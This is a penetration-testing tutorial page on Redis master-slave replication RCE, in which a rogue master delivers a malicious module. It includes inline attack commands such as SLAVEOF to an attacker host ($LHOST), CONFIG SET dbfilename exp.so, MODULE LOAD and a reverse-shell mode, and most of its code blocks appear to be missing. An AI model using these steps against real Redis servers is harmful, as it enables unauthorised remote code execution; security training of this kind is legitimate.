Redis Master-Slave Replication RCE
Redis replication allows a slave instance to sync its entire dataset from a master. An attacker controls a rogue Redis master that serves a malicious .so module file during the full resync process. The target is configured as a slave of the rogue master, receives the .so as the sync payload, saves it to disk, and then loads it with MODULE LOAD. This is the most reliable way to deliver binary module payloads when you cannot write files via SCP or HTTP.
Affects Redis 4.x and 5.x (up to 5.0.5). Redis 6+ tightened replication security, making this harder but not impossible in misconfigured deployments.
Prerequisites Check
1 – Redis version is 4.0–5.0.5:
2 – CONFIG access on target:
Must return a path.
3 – SLAVEOF / REPLICAOF command is available:
OK or ERR already master confirms the command works. An ERR unknown command means it is disabled.
4 – Target can reach your attack box on the rogue master port: The target's Redis instance initiates the outbound replication connection to your machine. Confirm outbound traffic is not blocked:
Step 1 – Set Up redis-rogue-server
Clone and prepare:
The exp.so module must be in the same directory as the script. It is included in the repo. Verify:
If missing, get it from RedisModulesSDK:
Step 2 – Run the Rogue Master and Get a Shell
Interactive shell mode:
Follow the prompts — select i for interactive shell when asked. The script:
Connects to the target Redis
Sets
CONFIG SET dbfilename exp.soIssues
SLAVEOF $LHOST 6381to make the target replicate from your rogue masterServes the
exp.somodule during the full resyncIssues
MODULE LOAD ./exp.soon the targetDrops you into an interactive shell via
system.exec
Reverse shell mode:
Start your listener first:
Then run redis-rogue-server selecting r for reverse shell:
At the shell type prompt, select r and provide your $LHOST and $LPORT.
Authenticated Target
If the target requires a password:
Metasploit Module
Warning
This may be restricted in exams such as OSCP. Verify exam rules before use.
SRVHOST must be your reachable IP address — not 0.0.0.0. The module starts a rogue Redis master on SRVPORT (default 6379) and handles the full replication flow automatically.
Step 3 – Verify and Clean Up
After getting your shell, check what user you are running as:
Clean up the loaded module and replication config:
References
-
redis-rogue-servergithub.com/n0b0dyCN/redis-rogue-server (opens in new tab)
n0b0dyCN Rogue Redis master implementation for replication-based module delivery.
-
RCE Exploits via Master-Slave Replicationmedium.com/@knownsec404team/rce-exploits-of-redis-based-on-master-slave-replication-ef7a664ce1d0 (opens in new tab)
Knownsec 404 Team Original research covering the replication-based module delivery technique.
Was this helpful?
Your feedback helps improve this page.